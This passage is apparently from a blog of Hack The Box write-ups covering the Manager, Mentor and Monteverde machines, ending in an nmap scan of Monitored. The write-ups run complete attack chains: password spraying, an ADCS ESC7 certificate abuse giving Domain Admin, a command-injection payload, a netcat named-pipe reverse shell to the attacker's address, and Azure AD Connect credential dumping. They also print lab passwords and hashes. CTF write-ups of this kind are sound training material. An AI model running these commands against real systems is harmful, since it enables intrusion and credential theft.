# Nmap done at Mon Jul  7 19:25:16 2025 -- 1 IP address (1 host up) scanned in 590.81 seconds

Before starting off this machine, we need to add the domain name and domain controller hostname to the /etc/hosts file as we’re dealing with Active Directory machine

echo "10.10.11.236 manager.htb dc01.manager.htb" | sudo tee -a /etc/hosts

Enumeration

Port 80/HTTP

let’s start our enumeration from port 80, which is running http service

i opened the site in browser to check it manually, i ran gobuster with different lists but not found antything

Port 139,445/SMB

we can see that the SMB is open on the target machine so first thing we do is to check Null-session/Anonymous login and see if there’s any interesting shares available

smbclient -L //10.10.11.236 -N

looks like there’s no interesting folders here, also i tried to connect to NETLOGON, SYSVOL shares as well but nothing was found

i got NT_STATUS_ACCESS_DENIED, as we can see that the SMB anonymous login is enabled so i ran the enum4linux, but didn’t get anything from it as well

Port 135/MSRPC

let’s check RPC for the anonymous login, and try to enumerate users, domain groups etc…

rpcclient -U "" -N 10.10.11.236

nothing in MSRPC as well, let’s check LDAP

Port 389,3268/LDAP

let’s check if LDAP allows anonymous binding or not, if it’s allowing anonymous binding we can get the Full information of domain via LDAP

let’s get the DN of the domain first, also called DistinguishedName

ldapsearch -H ldap://10.10.11.236 -x -s base namingcontexts

nice we got the DN of the domain now we’ll use it as a Base to perform search on the domain

ldapsearch -H ldap://10.10.11.236 -x -b "DC=manager,DC=htb"

no luck here as well

Port 88/Kerberos

As we know it is the Domain Controller machine, we can use kerbrute to enumerate valid users via kerbrute

kerbrute userenum --dc dc01.manager.htb -d manager.htb /usr/share/wordlists/seclists/Usernames/Names/names.txt

and bingo we got the 3 valid user names, i tried to found any AS_REP roastable users tried, password spraying but none of them are working

let’s try to enumerate user’s via RID cycling as the Null session allowed on the machine

sudo nxc smb 10.10.11.236 -u 'anonymous' -p '' --rid-brute 1500

nice we got the users let’s create username list

now i want to just pass the username as password to service i used netexec with --no-brute option

	sudo nxc smb 10.10.11.236 -u users.txt -p users.txt --no-brute

nice we found the valid credential for the operator user as we don’t have any interesting share to look into i move with mssql

sudo nxc mssql 10.10.11.236 -u operator -p operator

and yes it’s valid credential for the MSSQL service

let’s connect to MSSQL as operator

impacket-mssqlclient manager.htb/operator:operator@10.10.11.236 -windows-auth

after getting access i tried to enable xp_cmdshell, as we’re in impacket-mssqlclient we can use `enable_xp_cmdshell, then i noticed we can actually run xp_dirtree

i found interesting backup file in web root directory

i downloaded zip file using wget

wget http://10.10.11.236/website-backup-27-07-23-old.zip

and then unzipped it i found interesting hidden conf file

and i found the credentials of the raven user

let’s check if we can login using evil-winrm as raven

sudo nxc winrm 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

let’s now login using evil-winrm

evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

while examining the nmap output i found that it is using the AD CS service as i found CA - manager-DC01-CA let’s confirm it via netexec

sudo netexec ldap 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123' -M adcs

so we confirmed that the DC is the Enrollment server, so i used certipy-ad to enumerate certificate templates and see if there’s any vulnerabilities related to it

certipy-ad find -dc-ip 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'

let’s check the output txt file

we can see that there’s an ESC7 vulnerability and we can see that the ManageCA permissions

Overview of ESC7 Vulnerability

ESC7 is a privilege escalation attack vector against Active Directory Certificate Services (ADCS) that arises from insecure access control on a Certificate Authority (CA). Specifically, it targets cases where powerful CA-level permissions are mistakenly granted to unprivileged or low-privileged accounts, such as:

ManageCA
Manage Certificates

and we can confirmed it with our result

i found good writeup on it by HackingArticles → https://www.hackingarticles.in/adcs-esc7-vulnerable-certificate-authority-access-control/

We now leverage the ManageCA permission to assign the same user as a Certificate Officer

certipy-ad ca -ca manager-DC01-CA -add-officer raven -dc-ip 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'

now next step is to create vulnerable template subCA

certipy-ad ca -ca manager-DC01-CA -dc-ip 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -enable-template SubCA

now let’s check if the template has successfully enabled or not

certipy-ad find -dc-ip 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123' -enabled

let’s read the output txt file

This confirms that we have enabled and exploited dangerous EKUs.

let’s proceed with requesting certificate for the administrator user

certipy-ad req -dc-ip 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -templatesubCA -upn administrator@manager.htb

we can see that request is failed, now we need to approve the certificate for that we need request ID so note that and make sure to save private key

now issue the certificate for Request ID 20

certipy-ad ca -ca manager-DC01-CA -dc-ip 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -issue-request 20

if you get permission denied error, add user to officer again, as there’s clean-up scripts is running resetting the permissions

now request certificate for the request ID 20, this time we’ll get this as it is issued by office (US)

certipy-ad req -dc-ip 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca manager-DC01-CA -template subCA -retrieve 20

now use the pfx file to get NTLM hash for the administrator user

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236

Oh Ah! we got KRB_AP_ERR_SKEW(Clock skew too great) error, to fix this we need to sync our timezonne with the Domain Controller

sudo ntpdate 10.10.11.236

nice, now request the NTLM hash again with the same command we’ve used previously

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236

and Bingo this time we got the NTLM hash for the administrator user

let’s check it using netexec

sudo nxc winrm 10.10.11.236 -u administrator -H ae5064c2f62317332c88629e025924ef

Pwn3d!! means we are Domain Admin let’s use evil-winrm to login as administrator

evil-winrm -i 10.10.11.236 -u administrator -H ae5064c2f62317332c88629e025924ef

Mentor

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Mentor
OS Type: Linux
Difficulty: Medium

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO6yWCATcj2UeU/SgSa+wK2fP5ixsrHb6pgufdO378n+BLNiDB6ljwm3U3PPdbdQqGZo1K7Tfsz+ejZj1nV80RY=
|   256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJjv9f3Jbxj42smHEXcChFPMNh1bqlAFHLi4Nr7w9fdv
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port Scanning - UDP services

PORT    STATE SERVICE REASON              VERSION
161/udp open  snmp    udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: a124f60a99b99c6200000000
|   snmpEngineBoots: 67
|_  snmpEngineTime: 3h24m48s
| snmp-sysdescr: Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
|_  System uptime: 3h24m48.40s (1228840 timeticks)
Service Info: Host: mentor

Enumeration

Port 161/SNMP (UDP)

port 161 is open and running SNMP v1 let’s use snmpwalk to find any useful information

snmpwalk -v 1 -c public 10.10.11.193

iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1188808) 3:18:08.08
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "mentor"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (6) 0:00:00.06
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (6) 0:00:00.06
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (6) 0:00:00.06
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (6) 0:00:00.06
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (1191322) 3:18:33.22
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 04 1E 0F 0C 2C 00 2B 00 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-56-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 229
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB

there’s some interesting words like - mentor, admin@mentorquotes.htb, “Sitting on the dock of the bay”

Port 80/HTTP

move to another port 80, let’s visit the website in browser

it’s looks like the website is configured to allow access from hostname (URL) only let’s edit the /etc/hosts file and then enter the entry for mentorquotes.htb

let’s check the web technologies via whatweb

whatweb http://mentorquotes.htb/

i checked for hidden files and directories but didn’t find anything useful let’s try subdomains

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.10.11.193 -H "Host: FUZZ.mentorquotes.htb" --hl 9

let’s add the api subdomain to our /etc/hosts file

let’s visit the api.mentorquotes.htb

let’s run the gobuster to find endpoint for the API server

gobuster dir -u http://api.mentorquotes.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt

let’s check the /docs folder

looks like the API definations, then i tried to access the /users api but it needs authentication token which we can get from the following steps:

create a user account via /auth/signup api

let’s use this token to pass in the /users api

nothing interesting from here, so i’ve decided to find other community strings other than public, i tried using hydra but it only able to detect public, changing the tool i found https://github.com/SECFORCE/SNMP-Brute/

python3 snmpbrute.py -t 10.10.11.193 -f /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt

we found version 2c and community string internal

snmpwalk -v 2c -c internal 10.10.11.193

looks like the password for something. and looks like we found the username possible username - james and email from the /openapi.json

let’s try to login with this pieces of puzzle

curl -X 'POST' \
  'http://api.mentorquotes.htb/auth/login' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "email": "james@mentorquotes.htb",
  "username": "james",
  "password": "kj23sadkj123as0-d213"
}'

and we got the success, let’s enumerate users using /users api

but it doesn’t disclosed the password or any useful information let’s check the /admin endpoint that we’ve found during our gobuster scan

let’s check the /admin/check endpoint first

nothing interesting, moving to /admin/backup

it shows the path parameter is required

let’s pass the /etc/passwd file here

assuming it takes input from parameter and run command like zip or tar let’s check if it is passing parameter value without any sanitization, to check that i simply using ; semicolon to terminate 1st command and execute another command, as this is not showing any command output, we need to play this blind, like we can use curl, ping or sleep commands as usual i’m using ping command

start the tcpdump to intercept the ICMP requests on tun0

sudo tcpdump -i tun0 icmp -v

and then run below curl command

curl -X POST http://api.mentorquotes.htb/admin/backup -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0" -H "Content-Type: application/json" -d '{"path":"_x0h3x; ping -c 1 10.10.14.17;"}'

😈 when the ICMP says hello from different machine it gives me kick~!

It’s Time for Shell $

so i’ll use the busybox with nc to get shell fast, BUT the busybox command was not working as expected so i used the named pipe shell

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.17 443 > /tmp/f

looks like we have a shell inside the container

we can get user.txt from /home/svc/user.txt

let’s use the chisel to forward port to our kali machine as psql is not installed on container

so i downloaded the chisel https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz and then transfer it to target machine via wget and python http server

now if we look at the db.py we found that the database IP is different then current machine ip

possibly it’s different container so we need to specify this IP in chisel command so let’s start chisel server on kali

chisel server --reverse --port 5000

on target machine

./chisel client 10.10.14.17:5000 R:172.22.0.1:5432

we used 172.22.0.1 → the ip address of database

now it will forward all request that we send to localhost on port 5432 it will forwarded to database server

now let’s connect to database using psql

psql -h 127.0.0.1 -p 5432 -U postgres -W -d mentorquotes_db

to list the tables and sequences in database we’ll use the \d command to list only tables we’ll use \dt

the users table looks interesting to me let’s use select query to extract the data from it

select * from users;

if you know the python you can do it without forwarding port

python3 -c "import psycopg2; conn=psycopg2.connect('host=172.22.0.1 dbname=mentorquotes_db user=postgres password=postgres'); cur=conn.cursor(); cur.execute('SELECT * FROM users'); print(cur.fetchall()); conn.close()"

[(1, 'james@mentorquotes.htb', 'james', '7ccdcd8c05b59add9c198d492b36a503'), (2, 'svc@mentorquotes.htb', 'service_acc', '53f22d0dfa10dce7e29cd31f4f953fd8')]

crack password using crackstation.net

password for svc user → 123meunomeeivani

let’s login using ssh

ssh svc@10.10.11.193

there’s another user on the system james

linpeas revelas hardcoded password in snmp conf file

let’s use this password to su to james

Bingo! we are logged in as james

let’s check if we can run any command using sudo as james

sudo -l

hahaha it give us ability to run shell /bin/sh as root!

Monteverde

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Monteverde
OS type: Windows
Difficulty: Intermediate

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sun Apr 13 03:27:47 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.172
Nmap scan report for 10.10.10.172
Host is up, received echo-reply ttl 127 (0.34s latency).
Scanned at 2025-04-13 03:27:48 EDT for 1199s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-13 07:44:27Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: **MEGABANK.LOCAL**0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49747/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: **MONTEVERDE**; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-13T07:45:26
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 2859/tcp): CLEAN (Timeout)
|   Check 2 (port 60952/tcp): CLEAN (Timeout)
|   Check 3 (port 47166/udp): CLEAN (Timeout)
|   Check 4 (port 8472/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: -1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 13 03:47:47 2025 -- 1 IP address (1 host up) scanned in 1199.43 seconds

Enumeration

from nmap scan result i found the domain is MEGABANK.LOCAL and the Hostname of this machine is MONTEVERDE also from nmap scan result i can say that it is the domain controller of the Megabank.local domain

first thing i’ll do is the add MEGABANK.LOCAL and MONTEVERDE.MEGABANK.LOCAL into /etc/hosts file

Port 139,445/SMB

i’ll begin my enumeration from SMB, i always first check for the null session or anonymous login in SMB

smbcliennt -L //10.10.10.172 -N

-N for null session

server does allows Null session/anonymous login but it doesn’t listing the shares

if the anonymous login allows i’ll try enum4linux

enum4linux -a 10.10.10.172

so it doesn’t allow the session with null credentials and nothing interesting from enum4linux

Port 389,3268/LDAP

i’ll start LDAP enumeration using ldapsearch tool, first i’ll get DN (Distinguished Name for the domain) also called as NamingContexts

ldapsearch -H ldap://10.10.10.172 -x -s base namingcontexts

we got the naming context that we’ll use in our further enumeration, like we’ll use it as base to perform full search over the domain

ldapsearch -H ldap://10.10.10.172 -x -b "DC=MEGABANK,DC=LOCAL" > initial/ldap.out

this will generate lot of output so we’ll save it to file for further enumeration, we can use LDAP filters to search for specific queries like (ObjectClass=User) will only search for User in the AD

ldapsearch -H ldap://10.10.10.172 -x -b "DC=MEGABANK,DC=LOCAL" "(ObjectClass=User)" | grep -i samaccountname

above command will give us the list of all users inside domain, it’s worth it to check Description and info fields

copy the user names to users.txt

i’ll use kerbrute to find valid users

kerbrute userenum --dc 10.10.10.172 -d megabank.local users.txt -v

all users are valid, ok so the thing is we have the usernames and no password what about AS-REP?

ever wondered sometime user use same password as their username let’s give it a try

netexec smb 10.10.10.172 -u users.txt -p users.txt

Great! so the user SABatchJobs uses the same password as their username

when you get valid creds, enumeration start from 0 again, let’s first check if we have any shares access as SABatchJobs

netexec smb 10.10.10.172 -u SABatchJobs -p SABatchJobs --shares

i checked all shares i found users$ share$ useful, so i’ll connect to it and use ls command to list files and directories

first i’ll connect to share using smbclient [//10.10.10.172/users$](https://10.10.10.172/users$) -U megabank.local/SABatchJobs%SABatchJobs

ok so there are 4 directories to quickly enumerate all directories i always first enable recurse mode and then use ls command to list all files/directories recursively

smb: \> recurse

smb: \> ls

and i found azure.xml file inside mhope directory, i’ll download it using get mhope\azure.xml

reading the file i found password of the mhope user

i’ll check the winrm login using netexec

netexec winrm 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'

alright, we have Pwn3d!, i’ll load the evil version of winrm and login as mhope for HOPE to get Domain Admin soon!!

evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'

Post-Enum

after getting access i’ll start initial enumeration to grab more details and assemble pieces of puzzle for my way to Domain Admin

i first run the tree /a /f command from \Users directory

i found some interesting Azure directory and files, then i’ll check the Group membership of current mhope user

i found that user mhope is the member of Azure Admins

Release the Hounds: Bloodhound

If i am working on AD, and i have valid creds i’ll run bloodhound for sure, to make it simple and avoid transferring any files and data, i’ll prefer to use bloodhound-python

bloodhound-python -c all -u 'mhope' -p '4n0therD4y@n0th3r$' -d MEGABANK.LOCAL -ns 10.10.10.172

start neo4j database using sudo neo4j start then start bloodhound, login into it and upload the data, but nothing useful

while enumerating the SMB shares i found the azure_uploads share, also the user AAD_987d7f2f57d2, mhope is member of Domain Admins so i thought it is related to some Azure AD, after searching many hours i found that we can actually dump Administrator Credentials from the ADSync service. ref this blog to know how it done, first download the https://github.com/VbScrub/AdSyncDecrypt/releases and upload both AdDecrypt.exe and mcrypt.dll to target machine

as per the instruction in blog,

i understood that i need to run this exe from the C:\Program Files\Microsoft Azure AD Sync\Bin

to resolve this issue i need to specify the -FullSQL flag

[https://vbscrub.video.blog/2020/01/14/azure-ad-connect-database-exploit-priv-esc/]

again running the exe i got the Domain Admin credentials, what now! PsExec…!

impacket-psexec megabank.local/administrator:'d0m@in4dminyeah!'@10.10.10.172

Monitored

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Monitored
OS Type: Linux
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Thu Jun 26 18:31:15 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.248
Nmap scan report for 10.10.11.248
Host is up, received reset ttl 63 (0.21s latency).
Scanned at 2025-06-26 18:31:16 IST for 87s
Not shown: 65339 closed tcp ports (reset), 191 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/xFgJTbVC36GNHaE0GG4n/bWZGaD2aE7lsFUvXVdbINrl0qzBPVCMuOE1HNf0LHi09obr2Upt9VURzpYdrQp/7SX2NDet9pb+UQnB1IgjRSxoIxjsOX756a7nzi71tdcR3I0sALQ4ay5I5GO4TvaVq+o8D01v94B0Qm47LVk7J3mN4wFR17lYcCnm0kwxNBsKsAgZVETxGtPgTP6hbauEk/SKGA5GASdWHvbVhRHgmBz2l7oPrTot5e+4m8A7/5qej2y5PZ9Hq/2yOldrNpS77ID689h2fcOLt4fZMUbxuDzQIqGsFLPhmJn5SUCG9aNrWcjZwSL2LtLUCRt6PbW39UAfGf47XWiSs/qTWwW/yw73S8n5oU5rBqH/peFIpQDh2iSmIhbDq36FPv5a2Qi8HyY6ApTAMFhwQE6MnxpysKLt/xEGSDUBXh+4PwnR0sXkxgnL8QtLXKC2YBY04jGG0DXGXxh3xEZ3vmPV961dcsNd6Up8mmSC43g5gj2ML/E=
|   256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBbeArqg4dgxZEFQzd3zpod1RYGUH6Jfz6tcQjHsVTvRNnUzqx5nc7gK2kUUo1HxbEAH+cPziFjNJc6q7vvpzt4=
|   256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5o+WJqnyLpmJtLyPL+tEUTFbjMZkx3jUUFqejioAj7
80/tcp   open  http       syn-ack ttl 63 Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
389/tcp  open  ldap       syn-ack ttl 63 OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   syn-ack ttl 63 Apache httpd 2.4.56 ((Debian))
|_http-title: Nagios XI
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Debian)
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/emailAddress=support@monitored.htb/localityName=Bournemouth
| Issuer: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/emailAddress=support@monitored.htb/localityName=Bournemouth
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-11-11T21:46:55
| Not valid after:  2297-08-25T21:46:55
| MD5:   b36a:5560:7a5f:047d:9838:6450:4d67:cfe0
| SHA-1: 6109:3844:8c36:b08b:0ae8:a132:971c:8e89:cfac:2b5b
| -----BEGIN CERTIFICATE-----
| MIID/zCCAuegAwIBAgIUVhOvMcK6dv/Kvzplbf6IxOePX3EwDQYJKoZIhvcNAQEL
| BQAwgY0xCzAJBgNVBAYTAlVLMQ8wDQYDVQQIDAZEb3JzZXQxFDASBgNVBAcMC0Jv
| dXJuZW1vdXRoMRIwEAYDVQQKDAlNb25pdG9yZWQxHTAbBgNVBAMMFG5hZ2lvcy5t
| b25pdG9yZWQuaHRiMSQwIgYJKoZIhvcNAQkBFhVzdXBwb3J0QG1vbml0b3JlZC5o
| dGIwIBcNMjMxMTExMjE0NjU1WhgPMjI5NzA4MjUyMTQ2NTVaMIGNMQswCQYDVQQG
| EwJVSzEPMA0GA1UECAwGRG9yc2V0MRQwEgYDVQQHDAtCb3VybmVtb3V0aDESMBAG
| A1UECgwJTW9uaXRvcmVkMR0wGwYDVQQDDBRuYWdpb3MubW9uaXRvcmVkLmh0YjEk
| MCIGCSqGSIb3DQEJARYVc3VwcG9ydEBtb25pdG9yZWQuaHRiMIIBIjANBgkqhkiG
| 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1qRRCKn9wFGquYFdqh7cp4WSTPnKdAwkycqk
| a3WTY0yOubucGmA3jAVdPuSJ0Vp0HOhkbAdo08JVzpvPX7Lh8mIEDRSX39FDYClP
| vQIAldCuWGkZ3QWukRg9a7dK++KL79Iz+XbIAR/XLT9ANoMi8/1GP2BKHvd7uJq7
| LV0xrjtMD6emwDTKFOk5fXaqOeODgnFJyyXQYZrxQQeSATl7cLc1AbX3/6XBsBH7
| e3xWVRMaRxBTwbJ/mZ3BicIGpxGGZnrckdQ8Zv+LRiwvRl1jpEnEeFjazwYWrcH+
| 6BaOvmh4lFPBi3f/f/z5VboRKP0JB0r6I3NM6Zsh8V/Inh4fxQIDAQABo1MwUTAd
| BgNVHQ4EFgQU6VSiElsGw+kqXUryTaN4Wp+a4VswHwYDVR0jBBgwFoAU6VSiElsG
| w+kqXUryTaN4Wp+a4VswDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOC
| AQEAdPGDylezaB8d/u2ufsA6hinUXF61RkqcKGFjCO+j3VrrYWdM2wHF83WMQjLF
| 03tSek952fObiU2W3vKfA/lvFRfBbgNhYEL0dMVVM95cI46fNTbignCj2yhScjIz
| W9oeghcR44tkU4sRd4Ot9L/KXef35pUkeFCmQ2Xm74/5aIfrUzMnzvazyi661Q97
| mRGL52qMScpl8BCBZkdmx1SfcVgn6qHHZpy+EJ2yfJtQixOgMz3I+hZYkPFjMsgf
| k9w6Z6wmlalRLv3tuPqv8X3o+fWFSDASlf2uMFh1MIje5S/jp3k+nFhemzcsd/al
| 4c8NpU/6egay1sl2ZrQuO8feYA==
|_-----END CERTIFICATE-----
5667/tcp open  tcpwrapped syn-ack ttl 63
